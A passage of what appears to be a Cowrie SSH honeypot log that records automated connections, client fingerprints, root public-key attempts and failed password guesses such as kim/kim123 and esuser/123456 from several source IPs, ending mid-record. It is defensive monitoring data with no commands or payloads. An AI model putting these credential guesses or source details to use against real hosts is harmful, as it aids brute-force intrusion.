{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.107930Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:88:86:a9:02:81:05:24:79:0f:c7:66:2f:a8:bc:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDEnViJ72k4eNu+d3gkQ+AcBeVMTWamzy5dXw4YlFGV247u2necYqw2cXY7ltjLUsJjPBmZDKTBlWh4ljFCzgBHy5/Cxd/snSXLA5M8gaEqogEL5ETwuAxy7p20O2rRS3FNOl0S/GXZB1PV4W74+zg+v2PGfp1L27MHOoTPiJGYWOi4/sBwj+ufpbfnULMSh+PuDegIvCY2F4iMXTfbA+D1oleOUiPXbLNo66SrnLiIB4pkXrF7Fna/oYvM9LzedOnCDP3Ck+cTB9KVlP/6c9afHgi5UmqlNBxksB514tdYEMB9dyFdCfk++PkzWIBwfjSBpkxpahXpedEiJIhjdylGvce91A5k3xzJOQN1K8CWbJ6XBHB7/o4MmSBIuQgsQRO1uAUa7Y1/W+LKUiq1+ra34ax5cB0yW7Tfu9vrUyD25k9mS9vS9wcoAXI8Autp4a2yShd2+/OYAZD3bDMU+4HS3+Hcknj8gpKYpRFogcSJ7RsJNDkzihZwLpQzFneS3sNjTw1EWSBdL7SOyiVCvhrbXagBz90XE5KRVIbqVUajWMxmsT7/4wa7sqewCahXIsXPbi7OUm/81vnOJ2FslIuhmp26JOeQoVriJirYHzUDavpJ7pq0dah+M0WV6GicK61QoTDWNSz+P9MAE60yHHqeZ65cFTddiYo62FAQyeqJw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:88:86:a9:02:81:05:24:79:0f:c7:66:2f:a8:bc:86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.219279Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:88:86:a9:02:81:05:24:79:0f:c7:66:2f:a8:bc:86","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDEnViJ72k4eNu+d3gkQ+AcBeVMTWamzy5dXw4YlFGV247u2necYqw2cXY7ltjLUsJjPBmZDKTBlWh4ljFCzgBHy5/Cxd/snSXLA5M8gaEqogEL5ETwuAxy7p20O2rRS3FNOl0S/GXZB1PV4W74+zg+v2PGfp1L27MHOoTPiJGYWOi4/sBwj+ufpbfnULMSh+PuDegIvCY2F4iMXTfbA+D1oleOUiPXbLNo66SrnLiIB4pkXrF7Fna/oYvM9LzedOnCDP3Ck+cTB9KVlP/6c9afHgi5UmqlNBxksB514tdYEMB9dyFdCfk++PkzWIBwfjSBpkxpahXpedEiJIhjdylGvce91A5k3xzJOQN1K8CWbJ6XBHB7/o4MmSBIuQgsQRO1uAUa7Y1/W+LKUiq1+ra34ax5cB0yW7Tfu9vrUyD25k9mS9vS9wcoAXI8Autp4a2yShd2+/OYAZD3bDMU+4HS3+Hcknj8gpKYpRFogcSJ7RsJNDkzihZwLpQzFneS3sNjTw1EWSBdL7SOyiVCvhrbXagBz90XE5KRVIbqVUajWMxmsT7/4wa7sqewCahXIsXPbi7OUm/81vnOJ2FslIuhmp26JOeQoVriJirYHzUDavpJ7pq0dah+M0WV6GicK61QoTDWNSz+P9MAE60yHHqeZ65cFTddiYo62FAQyeqJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.225811Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:2d:cf:77:6b:ed:ed:9b:4e:f4:90:29:2b:02:c6:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC18O+lVL+c5cPvKZLDR3GwhmAOve8HL1kOFVVZAnopk+Ztdcwz2PuyHpTGqk0L1DrikfnjWKTWBizFYe/ElRX2bXK+OwUr5ZOayhCdwUBTiFswWTmZz5GZ6p6DMBCTTdYedQXyR8Ww+EtVwuOIsrvcU7OOHOK5Ue+UHlFwJTIHKQdaySWnDODvLDs0FLCZzS3Md/UfYV8XGnHayhjRZakV2tbh+5aN/Qz/XuuDfDGSY4TvxrkLWgq37YkqJKdTI1AyBQZUNZEC04ZUD4wco8/fjMUpMJ9N07Cy/rEiCDZlxzmpTrmfHAJ90h8T4OZbgefAO6EidUv57xAZebLPe0Rh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:2d:cf:77:6b:ed:ed:9b:4e:f4:90:29:2b:02:c6:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.255909Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:2d:cf:77:6b:ed:ed:9b:4e:f4:90:29:2b:02:c6:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC18O+lVL+c5cPvKZLDR3GwhmAOve8HL1kOFVVZAnopk+Ztdcwz2PuyHpTGqk0L1DrikfnjWKTWBizFYe/ElRX2bXK+OwUr5ZOayhCdwUBTiFswWTmZz5GZ6p6DMBCTTdYedQXyR8Ww+EtVwuOIsrvcU7OOHOK5Ue+UHlFwJTIHKQdaySWnDODvLDs0FLCZzS3Md/UfYV8XGnHayhjRZakV2tbh+5aN/Qz/XuuDfDGSY4TvxrkLWgq37YkqJKdTI1AyBQZUNZEC04ZUD4wco8/fjMUpMJ9N07Cy/rEiCDZlxzmpTrmfHAJ90h8T4OZbgefAO6EidUv57xAZebLPe0Rh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.259329Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:26:fa:ce:6b:6b:ef:22:10:88:06:c9:19:8d:78:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBPKkrvPicr4mTK2ETthGsERyvp8+L5d8Oz82G6Y/UwD4MjBlqjX2pCu4cu/2FQ2QwDYgnIplswHhmMs6DtTOObgISK0c/ei+rH0G5MsxYJ7Uygbn8nsQp/rUQMtekNLJOaY5FdL434YNkbb5s51TIZPjVLV4rvBO2hFBo0XXbbb12i+ZUvlyp2c5TAPlI59yepEE6gRzDkjNM4IH3ZAoW8S+qk865RpxByyuS1BcG3mG1pnTqQBuXmjrxbMtuZv+n/bBCPsNtkygUYsjztFL227nrvkuHmLbP7w6V4gMJjKc5ftERjBVIO8ahJ2ftr97raUKyvhPI0zBH9s7+lI4r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:26:fa:ce:6b:6b:ef:22:10:88:06:c9:19:8d:78:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.297041Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:26:fa:ce:6b:6b:ef:22:10:88:06:c9:19:8d:78:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBPKkrvPicr4mTK2ETthGsERyvp8+L5d8Oz82G6Y/UwD4MjBlqjX2pCu4cu/2FQ2QwDYgnIplswHhmMs6DtTOObgISK0c/ei+rH0G5MsxYJ7Uygbn8nsQp/rUQMtekNLJOaY5FdL434YNkbb5s51TIZPjVLV4rvBO2hFBo0XXbbb12i+ZUvlyp2c5TAPlI59yepEE6gRzDkjNM4IH3ZAoW8S+qk865RpxByyuS1BcG3mG1pnTqQBuXmjrxbMtuZv+n/bBCPsNtkygUYsjztFL227nrvkuHmLbP7w6V4gMJjKc5ftERjBVIO8ahJ2ftr97raUKyvhPI0zBH9s7+lI4r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.299845Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:43:95:dc:ad:e4:f0:34:33:ac:85:ea:56:23:e0:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGS6Z29rEUPva9iGRvKwYQoR66MZqQxz21t48vZOa/Ixw9DGl5XrmPFMVqZ8ykf6HRfXabtYaBC/BRDOu4nRaoHxoDOjyU/wQ5NZGlU8B4nTGubqyllvpvlbWDQbOXq6sjjxyoFKedSzn/li2HQq91HV1yXCw8Xes16kYQacO2uhsxacMbHguHxYFHKOb5UrDmvHBNdxqp/eGhdaN6HVLQvUBD4XfH/EmYpoplW3M0MfcgniMBeo2bPkWb195qkT3NxgF6G8U8Xy+eq0s6TwPaFAgmgRyMd2/n3IgZG/zyd1mbnL+lvZQcpZ04dDOypPESWYXuXcpaeARHkwjIMk0l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:43:95:dc:ad:e4:f0:34:33:ac:85:ea:56:23:e0:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.328663Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:43:95:dc:ad:e4:f0:34:33:ac:85:ea:56:23:e0:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGS6Z29rEUPva9iGRvKwYQoR66MZqQxz21t48vZOa/Ixw9DGl5XrmPFMVqZ8ykf6HRfXabtYaBC/BRDOu4nRaoHxoDOjyU/wQ5NZGlU8B4nTGubqyllvpvlbWDQbOXq6sjjxyoFKedSzn/li2HQq91HV1yXCw8Xes16kYQacO2uhsxacMbHguHxYFHKOb5UrDmvHBNdxqp/eGhdaN6HVLQvUBD4XfH/EmYpoplW3M0MfcgniMBeo2bPkWb195qkT3NxgF6G8U8Xy+eq0s6TwPaFAgmgRyMd2/n3IgZG/zyd1mbnL+lvZQcpZ04dDOypPESWYXuXcpaeARHkwjIMk0l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.332864Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:7a:b2:d8:38:04:91:fd:40:fc:81:6e:0d:79:52:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6icCT3vgl6qLA9esMxagwfgnw4kemgZhSVrbFQ62h2VpWOLarmq8rzDsRmGEaM4u1Y8zS+oS5/10YkJUlVv5NLAqJOzn0vUqEOKW48VqS9of+9zHzB4GbK1UBGUSYC8lRu9lAtH5eofg8ml04HoMl97uGGOCV904xjgtMz4EYqeujQ4KorDG87oDNkhQk8q+7YP4rUF5Ovnq9MBLF2Tyy7N/Smb1+gHk0sqq7cdQRRUkCjU/7lJ0ecZFi+Wlb/6b3LR3WwTX1JAFQEgWZLy6r2ByycC5Rdc/Fr9JfH6EFeWIs6ZY8ux1adtEODGEuZPri2fP1+5k5b20RCp/e9t6n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:7a:b2:d8:38:04:91:fd:40:fc:81:6e:0d:79:52:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.363758Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:7a:b2:d8:38:04:91:fd:40:fc:81:6e:0d:79:52:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6icCT3vgl6qLA9esMxagwfgnw4kemgZhSVrbFQ62h2VpWOLarmq8rzDsRmGEaM4u1Y8zS+oS5/10YkJUlVv5NLAqJOzn0vUqEOKW48VqS9of+9zHzB4GbK1UBGUSYC8lRu9lAtH5eofg8ml04HoMl97uGGOCV904xjgtMz4EYqeujQ4KorDG87oDNkhQk8q+7YP4rUF5Ovnq9MBLF2Tyy7N/Smb1+gHk0sqq7cdQRRUkCjU/7lJ0ecZFi+Wlb/6b3LR3WwTX1JAFQEgWZLy6r2ByycC5Rdc/Fr9JfH6EFeWIs6ZY8ux1adtEODGEuZPri2fP1+5k5b20RCp/e9t6n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.369762Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.397628Z","src_ip":"96.127.172.215","session":"b4719e4d7af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.6","message":"Connection lost after 19.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:13.652673Z","src_ip":"8.219.200.1","session":"623e6f2fb4c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52726,"dst_ip":"10.17.0.5","dst_port":22,"session":"dff2c084eb7c","protocol":"ssh","message":"New connection: 45.156.87.147:52726 (10.17.0.5:22) [session: dff2c084eb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:15.181459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:15.185712Z","src_ip":"45.156.87.147","session":"dff2c084eb7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:15.267170Z","src_ip":"45.156.87.147","session":"dff2c084eb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"rock","message":"login attempt [media/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:15.519464Z","src_ip":"45.156.87.147","session":"dff2c084eb7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45974,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ea29c322a0b","protocol":"ssh","message":"New connection: 91.92.42.227:45974 (10.17.0.5:22) [session: 3ea29c322a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:15.524587Z"}
{"eventid":"cowrie.login.failed","username":"kim","password":"kim123","message":"login attempt [kim/kim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:15.585727Z","src_ip":"91.92.42.227","session":"e63c72ead485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":36940,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5e222bfb1af","protocol":"ssh","message":"New connection: 8.219.200.1:36940 (10.17.0.5:22) [session: a5e222bfb1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:16.003391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:16.331227Z","src_ip":"8.219.200.1","session":"a5e222bfb1af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:16.335372Z","src_ip":"8.219.200.1","session":"a5e222bfb1af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:16.604752Z","src_ip":"45.156.87.147","session":"dff2c084eb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:17.290632Z","src_ip":"8.219.200.1","session":"a5e222bfb1af","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:17.344572Z","src_ip":"91.92.42.227","session":"3ea29c322a0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:17.350418Z","src_ip":"91.92.42.227","session":"3ea29c322a0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:18.072705Z","src_ip":"91.92.42.227","session":"e63c72ead485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:18.531297Z","src_ip":"8.219.200.1","session":"a5e222bfb1af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33478,"dst_ip":"10.17.0.5","dst_port":22,"session":"a677461d2d59","protocol":"ssh","message":"New connection: 45.156.87.147:33478 (10.17.0.5:22) [session: a677461d2d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:21.515696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:00:21.520383Z","src_ip":"45.156.87.147","session":"a677461d2d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 